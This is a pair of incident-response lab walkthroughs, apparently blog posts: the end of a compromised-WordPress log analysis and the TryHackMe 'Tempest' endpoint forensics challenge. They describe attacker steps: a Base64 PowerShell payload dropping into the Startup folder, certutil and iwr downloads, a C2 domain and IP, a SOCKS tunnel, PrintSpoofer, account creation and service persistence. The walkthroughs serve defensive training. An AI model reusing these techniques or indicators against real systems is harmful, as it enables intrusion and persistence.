Since this is a login URL, contains an admin token, and shows successful requests (HTTP 200 status), it strongly suggests this is the admin panel the attacker accessed.

Question 2: Can you find two tools the attacker used?

For this task, we need to identify the two tools used by the attacker. To do this, we’ll switch our focus to the User Agent column. While http Logs Viewer can generate a pie chart of all user agents, it’s not helpful here because we’re looking for something more unique than standard browser strings.

That’s OK though, we can do this manually by sorting the User Agent column in descending order to look for any suspicious entries captured in the log.

http Logs Viewer: Identifying the attacker’s tooling through User Agent headers

While there are a few oddities, two stand out: WPScan and sqlmap. WPScan is a WordPress vulnerability scanner, and sqlmap is a penetration testing tool used to detect and exploit SQL injection vulnerabilities. These tools often handily identify themselves in the User-Agent header (e.g., WPScan v3.8.10 or sqlmap/1.4.11), which is why sorting by User Agent works so well.

This is a potent combination that would help the attacker identify weaknesses in the WordPress server and then exploit them.

For further reading, here are the official sites for these tools:

Homepage _WPScan is an enterprise vulnerability database for WordPress. Be the first to know about vulnerabilities affecting your…_wpscan.com

sqlmap: automatic SQL injection and database takeover tool _sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection…_sqlmap.org

Question 3: The attacker tried to exploit a vulnerability in ‘Contact Form 7’. What CVE was the plugin vulnerable to? (Do some research!)

To answer Question 3, we already know the attacker targeted the Contact Form 7 plugin, which gives us a jump start on research.

First, let’s confirm evidence of this plugin in the logs. Use the find function(Ctrl+F) in http Logs Viewer and search for requests containing the string contact-form-7.

http Logs Viewer: Searching the logs for the vulnerable plugin

http Logs Viewer: Identifying the version number of the vulnerable plugin

With this search, we can confirm the presence of Contact Form 7 in the logs, and more importantly, we can see a version number in the query parameter—this is the key.

Now we pivot to research mode! Use your favorite search engine to look for vulnerabilities in Contact Form 7 version 5.3.1 which quickly leads us to CVE-2020-35489, an arbitrary file upload vulnerability. For example, using CVEdetails, we learn:

The contact-form-7 (aka Contact Form 7) plugin before 5.3.2 for WordPress allows Unrestricted File Upload and remote code execution because a filename may contain special characters.

This means attackers could upload malicious files by exploiting improper filename sanitization, leading to remote code execution.

Question 4: What plugin was exploited to get access?

To answer Question 4, we need to identify a second vulnerable plugin. Here’s what we know about the attacker so far:

They attempted to abuse CVE-2020–35489 in Contact Form 7.
CVE-2020–35489 “allows Unrestricted File Upload and remote code execution because a filename may contain special characters.”

In other words, the attacker may favor techniques that abuse file uploads. This means we should adjust our search scope in http Logs Viewer to focus on HTTP POST requests, specifically targeting upload endpoints. We can do this by applying the Request Methods filter and setting it to POST.

http Logs Viewer: Filter HTTP POST requests

Once the filter is applied, the log becomes much more manageable. It’s easier to spot successful POST requests to both Contact Form 7 and a second plugin: Simple-File-List, with a suspicious-looking .php file in the upload path.

http Logs Viewer: Identifying a second plugin

It seems like we’re on the right track, but we don’t yet have explicit evidence of the version of Simple-File-List to confirm if it’s vulnerable to remote file upload exploitation, right? So, let’s work backwards and research any vulnerability in this plugin that fits that criteria.

With a little searching, we’ll stumble across CVE-2020–36847. According to the National Vulnerability Database:

NVD _The Simple-File-List Plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including…_nvd.nist.gov

The Simple-File-List Plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 4.2.2 via the rename function which can be used to rename uploaded PHP code with a png extension to use a php extension. This allows unauthenticated attackers to execute code on the server.

This aligns perfectly with the attacker’s known TTPs. Without any other evidence, let’s make an educated gamble and check if version 4.2.2 was the plugin exploited by the attacker.

Question 5: What is the name of the PHP web shell file?

Now that we’ve confirmed Simple-File-List version 4.2.2 was exploited to gain access, this explains the suspicious-looking .php file we called out in Question 4.

While we don’t have any further evidence of the file’s capabilities, the question tells us it’s a web shell. That means the attacker likely uploaded a malicious PHP script to maintain access and execute commands on the server. The log entry showing the upload path should reveal the exact filename — this is what we’re after.

http Logs Viewer: Identifying the attacker’s web shell

Question 6: What was the HTTP response code provided when the web shell was accessed for the final time?

For the eagle-eyed readers out there, you may have noticed in the screenshot from the previous question the HTTP response code in the Status column — most were 200 (successful), but one wasn’t.

http Logs Viewer: Identifying the attacker’s web shell

An easy way to confirm this is to use http Logs Viewer’s find function and search for the name of the web shell we identified in Question 5 — fr34k.php.

This narrows the log to entries containing that filename and makes it much easier to spot the final request. The last entry shows a 404 status, meaning the file was no longer accessible. Great job! Now let’s wrap up this investigation.

Conclusion:

Logs Analyzed! How fun was that? A big thank you to Blue Team Labs Online for another awesome challenge.

This challenge was a fantastic deep dive into web server log analysis and plugin vulnerabilities. It gave us a realistic look at how attackers chain weaknesses (like unrestricted file uploads and remote code execution) into full compromise of a WordPress site.

I picked this challenge because it’s a great way to sharpen incident response skills while practicing techniques that apply far beyond WordPress. From filtering HTTP methods to spotting suspicious user agents, and researching CVEs, every question built on the last, making the investigation feel logical and rewarding. As an added bonus, these log analysis skills are transferable to other web servers, so this was a solid primer for broader forensic work. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59

Flare-VM: https://github.com/mandiant/flare-vm

http Logs Viewer (formerly Apache Logs Viewer): https://www.apacheviewer.com/

sqlmap: https://sqlmap.org/

WPScan: https://wpscan.com/

CVEdetails — CVE-2020–35489: https://www.cvedetails.com/cve/CVE-2020-35489/

National Vulnerability Database (NVD) — CVE-2020–36847: https://nvd.nist.gov/vuln/detail/CVE-2020-36847

TryHackMe — Tempest Challenge Walkthrough

Mon, 22 Dec 2025 00:00:00 +0000

TryHackMe | Tempest | Challenge Walkthrough

An Endpoint Forensic Investigation Challenge Using SysmonView, EvtxECmd, Brim, & CyberChef.

Image Credit: https://tryhackme.com/room/tempestincident

Introduction:

Think you’ve got what it takes to tame the Tempest?

If so, you’ve stumbled on the right blog! Welcome to my weekly walkthrough — a comprehensive (but spoiler-free) guide to the Tempest challenge from TryHackMe. This room is the first of the capstone challenges for their SOC Level 1 learning path.

For this challenge, we’re putting on our incident response hats and putting our skills to the test. The Tempest workstation has been compromised, and it’s up to us to calm the storm. We’re given three artifacts to dig into and piece together what happened.

This is a sprawling, in-depth case that will push us to think creatively and challenge our skills in endpoint and network analysis. We’ll pivot between tools and reconstruct the full attack chain — from analyzing malware execution all the way through network discovery, command and control, privilege escalation, and persistence.

For the analysis, we’ll use a mix of SysmonView, Eric Zimmerman’s EvtxECmd and Timeline Explorer, Brim, CyberChef, and even VirusTotal to validate our findings.

I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. I don’t want to ruin any of the fun, so this walkthrough will not contain spoilers — but please use it as a reference and enjoy! Now, let’s get into it.

Thanks for reading and going on this investigation with me!

Challenge Scenario:

This room aims to introduce the process of analysing endpoint and network logs from a compromised asset. Given the artefacts, we will aim to uncover the incident from the Tempest machine. In this scenario, you will be tasked to be one of the Incident Responders that will focus on handling and analysing the captured artefacts of a compromised machine.

Task 3: Preparation — Tools and Artifacts

Questions 1, 2, & 3:

What is the SHA256 hash of the capture.pcapng file?

What is the SHA256 hash of the sysmon.evtx file?

What is the SHA256 hash of the windows.evtx file?

Following the theory from Tasks 1 & 2, which are not covered in this blog, we can now get started and leap into action. Our first set of questions is to determine the unique SHA256 hash of each artifact that we’ll use throughout the rest of the investigation.

To perform this task, we can leverage the Get-FileHash cmdlet in PowerShell. From the Incident Files directory, run the command below:

Get-FileHash *

This will compute the hash for all files in the directory using the default algorithm, which is SHA256.

PowerShell: Getting the file hashes

Task 4: Initial Access — Malicious Document

Now we’re getting to work! The first true challenge starts here in Task 4. For this task, our job is to assess a malicious document used to compromise the Tempest device. From the available artifacts, we’ll select the Sysmon event logs. Since this is a capstone challenge for the SOC Level 1 analyst track, I’ll assume you’re already familiar with Sysmon.

The fun part is that instead of relying solely on the Windows Event Viewer, we’ll work a little smarter by leveraging SysmonView, a third-party utility designed for visualizing Sysmon event logs in XML format.

But first, we’ll need to convert all the events contained within Sysmon.evtx to XML for parsing. To do this, open the Sysmon.evtx file in Event Viewer. Then, press Save All Events As…, change the file format to XML, and save.

Event Viewer: Exporting Sysmon logs as XML

Now, we can pivot and open SysmonView, which is conveniently pinned to the taskbar of the analysis environment. Once it’s open, press File > Import Sysmon XML Events, and load up the events so we can get started.

Investigation Guide:

To aid with the investigation, you may refer to the cheatsheet crafted by the team applicable to this scenario:

Start with the events generated by Sysmon.

EvtxEcmd, Timeline Explorer, and SysmonView can interpret Sysmon logs.

Follow the child processes of WinWord.exe.

Use filters such as ParentProcessID or ProcessID to correlate the relationship of each process.

We can focus on Sysmon events such as Process Creation (Event ID 1) and DNS Queries (Event ID 22) to correlate the activity generated by the malicious document.

Question 1: The user of this machine was compromised by a malicious document. What is the file name of the document?

The first artifact we need to hunt for is the malicious document itself. A good place to start is filtering the logs for Sysmon Event ID 11, which corresponds to File Creation events. Using SysmonView, select the All Events View tab at the bottom, then drag the Event Type column to the filter bar and expand Event Type: File Created.

This displays all the File Creation events in a neat table. Scroll down to the oldest results to start building a timeline.

Once we expand the early events, we’ll find the evidence we need: the creation of a document file from chrome.exe. Checking the target file name will reveal the file name and path, suggesting it was downloaded from a website.

SysmonView: Identifying the malicious document

Questions 2 & 3:

What is the name of the compromised user and machine?

What is the PID of the Microsoft Word process that opened the malicious document?

Next, we’ll need to collect some information about the environment, including the machine name, compromised user, and the process ID (PID) of the malicious document.

One approach to getting this information in one go is to remove the Event Type filter and search for the document’s name in the search box at the top. This filters the Sysmon events related to this specific file name. This leads us to a Process Create (Event ID 1) for WINWORD.EXE.

SysmonView: Identifying the Microsoft Word PID

As a bonus, by identifying this event, we also get all the metadata we need to answer both Questions 2 & 3!

Question 4: Based on Sysmon logs, what is the IPv4 address resolved by the malicious domain used in the previous question?

The wording of Question 4 is a little confusing since there wasn’t any domain reference in Question 3 that I found. It’s all good — we can infer what we’re looking for: the IP address of a malicious domain contacted by WINWORD.EXE.

For this, jump to the Process View tab in SysmonView and scroll down the process list to select WINWORD.EXE. Then click the image path in the box below, and finally click both session GUIDs. This gives us a clean diagram of the relationships between events tied to the process—very neat!

Scrolling through the events, we’ll stumble across a suspicious-looking domain in the DNS query, along with a corresponding destination IP address. Correlating the suspicious domain with the IP address is good, but through additional threat intelligence or process of elimination, we can also determine that this IP is malicious. We’ll see more of that later!

SysmonView: Identifying the malicious IP address

Question 5: What is the base64 encoded string in the malicious payload executed by the document?

Now Question 5 is a little tricky because you might notice our visualization doesn’t show any child process like PowerShell that would give us a clue. Not to worry — we’ll try a different approach and bust out some of Eric Zimmerman’s tools: EvtxECmd and Timeline Explorer.

The idea is to use EvtxECmd to parse the Sysmon.evtx file and produce a CSV file that we can load into Timeline Explorer to view and filter the data. This makes it easier to examine the relationship between the Microsoft Word process and any child processes spawned by the malware. Fortunately, both tools are already built into our environment and can be found in the following directories:

C:\Tools\EvtxECmd\EvtxECmd.exe C:\Tools\TimelineExplorer\TimelineExplorer.exe

First, open PowerShell and run the command below to execute EvtxECmd and output the results to CSV:

C:\Tools\EvtxECmd\EvtxECmd.exe -f “C:\Users\user\Desktop\Incident Files\sysmon.evtx” –csv “C:\Users\user\Desktop\Incident Files” –csvf Sysmon.csv

PowerShell: Executing EvtxECmd

Now comes the fun part. Open Timeline Explorer and load the new CSV file. We’ll need to do a few things here:

Filter on the EventID column for 1 (process creation)
Enter the parent process ID of WINWORD.EXE (496) into the PayloadData5 field to show any child processes we didn’t see in SysmonView
Check the Executable Info column for the first event chronologically

Timeline Explorer: Finding the encoded string

See the encoded blob following the FromBase64String function? That’s what we need to answer Question 5.

But we can take it a step further and decode it using something like CyberChef, which we’ll do for demonstration purposes. Within CyberChef, paste the encoded string into the input window. Then, add the From Base64 operation to the recipe.

CyberChef: Decoding the string

In the output, we’ll get some extremely helpful clues that we’ll use in Task 5.

Question 6: What is the CVE number of the exploit used by the attacker to achieve a remote code execution?

Head back to the Timeline Explorer view and look closely — do you see anything unusual? The process executing the code is the Microsoft Support Diagnostic Tool (MSDT.exe), a legitimate diagnostic utility. Very strange.

Now that we have some of the puzzle pieces, let’s put them together. Let’s take to Google and see if there’s a known vulnerability where MSDT is called from Word to execute code.

We’ll immediately identify the following CVE from Microsoft:

A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights.

Bingo! We’ve stumbled across exploitation of the famous “Follina” vulnerability, tracked as CVE-2022–.

Task 5: Initial Access — Stage 2 execution

Investigation Guide:

The Autostart execution reflects explorer.exe as its parent process ID.

Child processes of explorer.exe within the event timeframe could be significant.

Process Creation (Event ID 1) and File Creation (Event ID 11) succeeding the document execution are worth checking.

Question 1: The malicious execution of the payload wrote a file on the system. What is the full target path of the payload?

From the Base64 command we found in Task 4, Question 5, we can start to get an idea of where the file was written:

$app=[Environment]::GetFolderPath(‘ApplicationData’);cd “$app\Microsoft\Windows\Start Menu\Programs\Startup”

To understand the full path, we just need to first identify where the $app variable is pointing and then append the rest of the path that we see in the cd command. One approach is to declare the variable in PowerShell within the analysis environment to see what happens, and then transpose the path into the victim’s environment—check out what I mean below:

PowerShell: Testing the $app variable

The $app variable resolves to the ApplicationData folder for our user account. So, we need to change the username to the victim account name we identified in Task 4, Question 2 and put it all together to get our answer:

C:\Users<REDACTED>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Dropping the payload into this folder means the executable will run each time the victim user logs in, since it’s placed in the Startup directory. This is a common way a threat actor establishes persistence on a system.

Now that we’ve discovered where the payload is executed from, let’s dig in and figure out what it does. Focusing on the next steps of the investigation guide, we know the time of the file write was 17:13:35, and we need to look at events with explorer.exe as a parent.

Let’s jump back to SysmonView and visualize this with a handy diagram of all the events. Click the Hierarchy tab at the bottom of the window. Then, press Generate Diagram to spit out an incredibly helpful visual of the process relationships, which makes it a ton easier to identify child processes of explorer.exe.

SysmonView: Identifying suspicious PowerShell process

One of the child processes is powershell.exe, which is interesting, especially in the context of command execution. Let’s take a quick peek by opening the PowerShell box.

SysmonView: ProcessCreate Event Details for Powershell.exe

Inside, we’ll discover exactly what we need — the process command line of the payload. This tells us exactly what it does: download another binary, or second stage.

Question 3: Based on Sysmon logs, what is the SHA256 hash of the malicious binary downloaded for stage 2 execution?

If we take a closer look at the command from the last question, we’ll discover that certutil was abused to download another .exe file via PowerShell. Let’s dig into it more.

Close the window and review the diagram. Find the child process below powershell.exe on the diagram—that’s our Stage 2.

SysmonView: Identifying the Stage 2 binary

Double-click it to open the details and grab the file hash for our list of indicators.

SysmonView: ProcessCreate Event Details for the Stage 2 binary

Question 4: The stage 2 payload downloaded establishes a connection to a c2 server. What is the domain and port used by the attacker?

With the name of the executable, an easy way to identify the command-and-control (C2) server is to step back to the Process View tab. Recall that we can search for the name of the second-stage binary and easily view its related network connections to the C2 server as captured by Sysmon.

From the relationships mapped here, we can infer that the DNS query event and TCP connections to port 80 represent a pair:

SysmonView: Process View of the Stage 2 binary

This provides us with the domain, IP address, and port used for command and control by the second stage. These will be incredibly valuable artifacts for the network traffic analysis in Task 6.

Task 6: Initial Access — Malicious Document Traffic

Investigation Guide:

Since we have discovered network-related artefacts, we may again refer to our cheatsheet, which focuses on Network Log Analysis:

We can now use Brim and Wireshark to investigate the packet capture**.**

Find network events related to the harvested domains and IP addresses.

Sample Brim filter that you can use for this investigation: __path=="http" "<malicious domain>"

Now that we’ve gotten a better idea of what the malicious document is, which vulnerability it exploits, what the second stage is, and what C2 infrastructure it connects with, it’s time to dig further into the network traffic. For this, we’ll make a detour and pivot to a second artifact: capture.pcap.

This is a network packet capture file that we can use to go deep into investigating the communication between the malware and the command-and-control server.

To start, we’ll use Brim (now called Zui) to process and visualize the packet data with some awesome built-in queries.

Brim Overview

Go ahead and open up Brim, which is already installed in the analysis environment, and drop the capture.pcap into the input window. Once it loads, we’ll get started.

Question 1: What is the URL of the malicious payload embedded in the document?

Now we already know some valuable information, including the malware hosting domain and IP address, the C2 URL, and the C2 IP address.

Remember back in Task 4, Question 4 we identified an IP address and domain embedded in the malicious document? Because we have most of the information already, this is a logical starting point since we’re looking for network URL information related to the stage-one malicious document.

Since we’re looking to identify a URL request, an easy way to do this is to leverage the built-in Brim query HTTP Requests to determine which URL is being connected to. This will display an easy-to-read table containing the results we need.

Scroll down to the section containing the IP address from Task 4, Question 4, and we can see all the requests to this URL. There are a lot of interesting files here, but the one we’re focused on is the first: index.html.

Brim: Identifying URLs related to the C2 IP address

Question 2: What is the encoding used by the attacker on the c2 connection?

Back in Task 4, Question 5, we determined that the attacker used Base64 encoding to obfuscate the payload within the malicious document. Could it be the same encoding for the C2 connection? Let’s check the network traffic to confirm.

Within our HTTP Requests view in Brim, scroll down to the entries with C2 IP address. Notice that the corresponding values in URI column contain long strings? We’ll use one of these to check if they are also Base64 encoded.

Brim: Identifying Base64 strings in the URI

Copy any one of these as a test and jump back into CyberChef, once again applying the From Base64 operation.

CyberChef: Decoding a Base64 encoded parameter

Confirmed! This shows us that the encoding is indeed Base64 — but more importantly, it might also indicate that some command return data is being exfiltrated via HTTP requests.

Questions 3 & 4:

The malicious c2 binary sends a payload using a parameter that contains the executed command results. What is the parameter used by the binary?

The malicious c2 binary connects to a specific URL to get the command to be executed. What is the URL used by the binary?

Now the cool part: by discovering that each of these strings contains the results of the executed commands, we can also identify the parameter that contains those results.

Take a look at the URI and notice a common parameter and URL used by the binary. This parameter consistently appears in requests that include Base64-encoded data, strongly suggesting it’s being used to transmit command output back to the attacker — something we already suspected from the previous question.

Brim: Identifying the URL and the Parameter

Similarly, the URL path reveals where the binary retrieves its next command to execute. These two pieces, the parameter and the URL, are important indicators for understanding the attacker’s C2.

Question 5: What is the HTTP method used by the binary?

To confirm how the binary communicates with the C2 server, check the method column in the HTTP Requests view in Brim. This shows whether the request uses GET, POST, etc.

Brim: Identifying the HTTP method

The value in this column reveals the exact HTTP method the attacker used to retrieve commands and send data which is another important detail for understanding how the C2 channel operates.

Question 6: Based on the user agent, what programming language was used by the attacker to compile the binary?

To find this clue, we’ll pull back from the HTTP Requests query and search for the C2 IP in the Brim search box. Since we’re looking for a user agent, include the user_agent field in the query to surface unique results:

167.71.222.162 user_agent

Now scroll over to the user_agent column, and you’ll find another breadcrumb that reveals the programming language used to compile the binary.

Task 7: Discovery — Internal Reconnaissance

Investigation Guide:

To continue with the investigation, we may focus on the following information:

Find network and process events connecting to the malicious domain.

Find network events that contain an encoded command.

We can use Brim to filter all packets containing the encoded string.

Look for endpoint enumeration commands since the attacker is already inside the machine.

In addition, we may refer to our cheatsheet for Brim to quickly investigate the encoded traffic with the following filters:

To get all HTTP requests related to the malicious C2 traffic: _path=="http" "<replace domain>" id.resp_p==<replace port> | cut ts, host, id.resp_p, uri | sort ts

Question 1: The attacker was able to discover a sensitive file inside the machine of the user. What is the password discovered on the aforementioned file?

Remember in the last task how we discovered that the attacker uses the C2 binary to send the results of commands executed on the victim’s system? Now we’ll take a closer look at those commands and their outputs, decode them, and build a complete picture of what was run.

We’ll use the handy command provided in the investigation guide and plugin the relevant information we’ve already gathered during our case:

_path==“http” “resolvecyber.xyz” id.resp_p==80| cut ts, host, id.resp_p, uri | sort ts

Once the results load, we’ll see the encoded commands we’re going to work with. Press the Export button in Brim and save the results as a .csv file—mine is called results.csv.

Brim: Filtering the C2 results for export

Next, we need a quick way to decode the Base64 strings following the q parameter. While we could copy and paste each one into CyberChef, let’s automate this with a PowerShell script.

Full disclosure: GenAI was a big help here since regex still feels like black magic to me. But I say keep with the times and leverage the modern tools at our disposal as long as we verify the output is accurate.

Get-Content .\results.csv | ForEach-Object { if ($_ -match ‘q=([^,]+)’) { $encoded = $matches[1] $decoded = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String($encoded) ) $decoded } }

Here’s what the script does:

Reads the results.csv file
Matches q= followed by the encoded string (Task 6, Question 3)
Extracts the Base64 string and decodes it into readable text

Open Notepad and save this as a .ps1 script (I called mine decode.ps1) and run it. The output gives us incredible insight into the attacker’s actions—and right at the top, you’ll find the password we’re looking for in the $pass variable.

PowerShell: Running the decode.ps1 script

Question 2: The attacker then enumerated the list of listening ports inside the machine. What is the listening port that could provide a remote shell inside the machine?

Let’s keep reviewing the output of the script to learn more about the attacker’s reconnaissance activity. We can see that they used netstat to enumerate the listening ports.

PowerShell: Identifying a listening remote access port

When we review the open ports listed, a quick lookup on the Speedguide.net Ports Database helps us identify their purpose. One port stands out because it’s associated with Windows Remote Management (WinRM). This service can allow remote shell via PowerShell remoting when it’s enabled and authenticated, which makes it a juicy target for attackers.

Question 3 & 4:

The attacker then established a reverse socks proxy to access the internal services hosted inside the machine. What is the command executed by the attacker to establish the connection?

What is the SHA256 hash of the binary used by the attacker to establish the reverse socks proxy connection?

Arriving at the bottom of the script during our review, we notice something interesting: the attacker downloads another binary named ch.exe using PowerShell Invoke-WebRequest (iwr) from the URL we identified earlier when analyzing the malicious document traffic.

PowerShell: Identifying another suspicious binary

Switching back to SysmonView, we can pivot to the Process view tab and select ch.exe. From there, we’ll look for the related process creation event. This event will reveal two critical pieces of evidence to answer Question 3 & 4:

The full command line used to establish the reverse SOCKS proxy connection
The SHA256 hash of the binary itself

SysmonView: Using the process view to identify the proxy connection stand up

Question 5: What is the name of the tool used by the attacker based on the SHA256 hash? Provide the answer in lowercase.

Now that we have the SHA256 hash of the tool used to establish the proxy, let’s pivot to some external threat intelligence to see if we can identify the specific utility. In this case, we’ll use the VirusTotal platform.

Navigate to VirusTotal and submit the hash of ch.exe to check if it’s been seen before and gather additional intelligence. Right away, you’ll notice that the sample has been observed previously, with most anti-malware vendors detecting it as malicious. For the purposes of Question 5, focus on the family label provided by VirusTotal, it’s the key to identifying the tool.

https://www.virustotal.com/gui/file/8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451

This particular utility is designed for TCP/UDP tunneling over HTTP, a technique attackers often abuse to create covert channels and bypass network restrictions. This aligns perfectly with the behavior we observed earlier when the attacker stood up a reverse SOCKS proxy.

Question 6: The attacker then used the harvested credentials from the machine. Based on the succeeding process after the execution of the socks proxy, what service did the attacker use to authenticate?

Jumping back over to the SysmonView Hierarchy map, something stands out: remember in Question 2 we identified a port associated with a specific service that could be used for a remote shell? We’ll actually stumble across the process name wsmprovhost.exe for that same service right in the graph, along with another suspicious file and a chain of process creations. Interesting!

SysmonView: Using the hierarchy view to identify the authenticated service

This indicates that the remote management service was abused by the adversary and may have been used for further actions like lateral movement. For now, this evidence is enough to conclude that this service was the one authenticated to by the attacker.

Stick with this view since we’ll be focused on examining these binaries in the next task.

Task 8: Privilege Escalation — Exploiting Privileges

Investigation Guide:

With this, we can focus on the following network and endpoint events:

Look for events executed after the successful execution of the reverse socks proxy tool.

Look for potential privilege escalation attempts, as the attacker has already established a persistent low-privilege access.

Question 1: After discovering the privileges of the current user, the attacker then downloaded another binary to be used for privilege escalation. What is the name and the SHA256 hash of the binary?

Now that we’ve confirmed the attacker authenticated using wsmprovhost.exe, let’s turn our attention to the next child process creation event highlighted in the diagram.

SysmonView: Identifying the privilege escalation binary

Double-click the event to grab the SHA256 hash of the binary. This will give us the two pieces of evidence we need:

The executable name
The SHA256 hash

SysmonView: ProcessCreate Event Details of the privilege escalation binary

To submit the answer, combine the executable name and file hash. Identifying this binary and its hash not only answers the question but also provides us with another IOC for our list for hunting.

Question 2: Based on the SHA256 hash of the binary, what is the name of the tool used?

Now that we have the file hash in hand, we’ll once again turn to VirusTotal to enrich our findings and learn more about what this tool is. Submit the hash and review the results.

VirusTotal: https://www.virustotal.com/gui/file/8524fbc0d73e711e69d60c64f1f1b7bef35c986705880643dd4d5e17779e586d/detection

This time, the analysis provides more than just detection verdicts, but also includes helpful code insights and threat/family labels. These labels tell us what kind of tool this binary actually is, based on vendor and community analysis and can help add valuable context to the investigation.

Question 3: The tool exploits a specific privilege owned by the user. What is the name of the privilege?

After reviewing the VirusTotal results, we have a better idea of what this tool does and what the impact is — but we’re missing a critical detail: the specific user privilege that enables this exploit.

Since we know the name of the tool, we can do a targeted Google search to see if other security researchers have documented its behavior. Take your pick!

For my context, I stumbled across a fantastic blog post from itm4n, the author of the tool, explaining how it works in great detail:

PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 _Over the last few years, tools such as RottenPotato, RottenPotatoNG or Juicy Potato have made the exploitation of…_itm4n.github.io

From the blog, we quickly learn that this exploit abuses powerful impersonation privileges. These privileges allow a process to run code or even create a new process in the context of another user. For example:

These two privileges are very powerful indeed. They allow you to run code or even create a new process in the context of another user. To do so, you can call CreateProcessWithToken() if you have **<REDACTED>** or CreateProcessAsUser() if you have SeAssignPrimaryTokenPrivilege.

Understanding these privileges is important because they enable attackers to escalate from a standard user to SYSTEM-level access, which is obviously not great.

Question 4: Then, the attacker executed the tool with another binary to establish a c2 connection. What is the name of the binary?

Moving right along, it’s time to look at the next process creation event for the second tool used to establish a new C2 channel. This event is highlighted in the diagram and gives us exactly what we need to answer Question 4 — the name of the binary.

SysmonView: Identifying the second C2 binary

Question 5: The binary connects to a different port from the first c2 connection. What is the port used?

You might have already guessed, but to determine the network connections used by the “final” binary to establish the second C2 connection, we’ll go back to the Process view tab and search for the executable name. Once we do that, we can easily identify the related network connection events, which will show us the domain, IP address, and the second port.

SysmonView: Using the process view tab to identify network connections

Task 9: Actions on Objective — Fully-owned Machine

Investigation Guide:

Now, the attacker has gained administrative privileges inside the machine. Find all persistence techniques used by the attacker.

In addition, the unusual executions are related to the malicious C2 binary used during privilege escalation.

Investigation Guide

Now, we can rely on our cheatsheet to investigate events after a successful privilege escalation:

Useful Brim filter to get all HTTP requests related to the malicious C2 traffic : _path=="http" "<replace domain>" id.resp_p==<replace port> | cut ts, host, id.resp_p, uri | sort ts

The attacker gained SYSTEM privileges; now, the user context for each malicious execution blends with NT Authority\System.

All child events of the new malicious binary used for C2 are worth checking.

Question 1: Upon achieving SYSTEM access, the attacker then created two users. What are the account names?

Now we’re in the final phase of the investigation and the stakes are high. The adversary has achieved SYSTEM-level privileges, and we need to identify actions taken on the victim’s system.

Our first task is to jump back over to Brim and collect new evidence based on the port we identified in Task 8, Question 5. Assuming the attacker’s C2 tactics, techniques, and procedures are consistent, we’ll repeat the same analysis process we used in Task 7, Question 1.

Back in Brim, update the query to filter for the new port:

_path==“http” “resolvecyber.xyz” id.resp_p==8080 | cut ts, host, id.resp_p, uri | sort ts

Export the results again to .csv. This time, save the export as results2.csv—which means we’ll need to make a small modification to the decode.ps1 script we created earlier to account for the new file name.

Open the script in PowerShell ISE, update the file name to results2.csv, and run it directly in PowerShell ISE. This will perform the same parsing and decoding operations as before, allowing us to examine the contents of the URL parameters to determine what the attackers did after elevating to SYSTEM privileges.

PowerShell ISE: Modifying the decode.ps1 script

PowerShell ISE: Identifying user account additions

Toward the bottom of the output, we’ll find evidence that the attacker leveraged [net user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user) commands to create two accounts. This is exactly what we need to answer Question 1.

Question 2: Prior to the successful creation of the accounts, the attacker executed commands that failed in the creation attempt. What is the missing option that made the attempt fail?

Jumping back up to the top of our script output, we’ll also find evidence that the first attempt at running these commands failed because they were missing a crucial option. Compare the version that failed with the successful ones we found in the previous question to determine the missing option.

PowerShell ISE: Identifying failed user account additions

Question 3: Based on windows event logs, the accounts were successfully created. What is the event ID that indicates the account creation activity?

While we could pivot to the third artifact, windows.evtx, and manually identify the account creation event, we have another option: leverage Microsoft’s documentation to confirm the standard event ID associated with this activity.

According to Microsoft Learn, this is part of the Windows Security Auditing framework and is logged whenever an account is successfully created. I’ll put the link below for further reading.

A user account was created. - Windows 10 _Describes security event A user account was created. This event is generated a user object is created._learn.microsoft.com

Question 4: The attacker added one of the accounts in the local administrator’s group. What is the command used by the attacker?

Back to the command analysis in PowerShell ISE, we’re searching for an event where the attacker added one of the newly created user accounts to the local administrators group for further privilege escalation and persistence.

Toward the bottom of the output, we’ll find evidence of this action using the net localgroup command. This is an old classic technique attackers use to grant elevated privileges to accounts they create/control.

PowerShell ISE: Identifying additions to the local administrators group

Question 5: Based on windows event logs, the account was successfully added to a sensitive group. What is the event ID that indicates the addition to a sensitive local group?

Once again, rather than manually analyzing the windows.evtx artifact, we’ll lean on Microsoft’s documentation to confirm the standard event ID for this activity. According to Microsoft Learn, this event is logged whenever a user is added to a local group, including sensitive groups like Administrators.

A member was added to a security-enabled local group. - Windows 10 _Describes security event A member was added to a security-enabled local group._learn.microsoft.com

Question 6: After the account creation, the attacker executed a technique to establish persistent administrative access. What is the command executed by the attacker to achieve this?

At long last, we’ve made it to the end of the Tempest incident investigation. Our final task is to identify the persistence technique deployed by the attacker.

In the command output, we’ll find evidence that the attacker created a service using sc.exe and set it to auto-start. This service executes the final.exe binary we identified back in Task 8, Question 5. Another “oldie but goodie” technique that ensures the attacker’s code runs automatically whenever the system starts.

PowerShell ISE: Identifying suspicious service creation

But that’s only half the answer — we need the full command line. No problem! Let’s have one last hoorah with SysmonView. Using either the hierarchical view or the process view, locate sc.exe, double-click it, and check out the full command line.

SysmonView: Identifying the full commandline of the suspicious service creation

Bingo! Now we have the complete command from the Sysmon event log and have fully identified this persistence technique. Take a deep breath — we’ve closed out this investigation. Great job!

Conclusion:

Whew! That was a long one — but we made it to the end. A big thank you to TryHackMe for putting together such a thorough and challenging capstone.

This challenge was a fantastic way to wrap up the SOC Level 1 learning path. It tied together so many concepts covered in the content and offered a realistic example of an incident response engagement. Along the way, we not only followed the attacker’s trail but also learned how to better utilize our tools in the field.

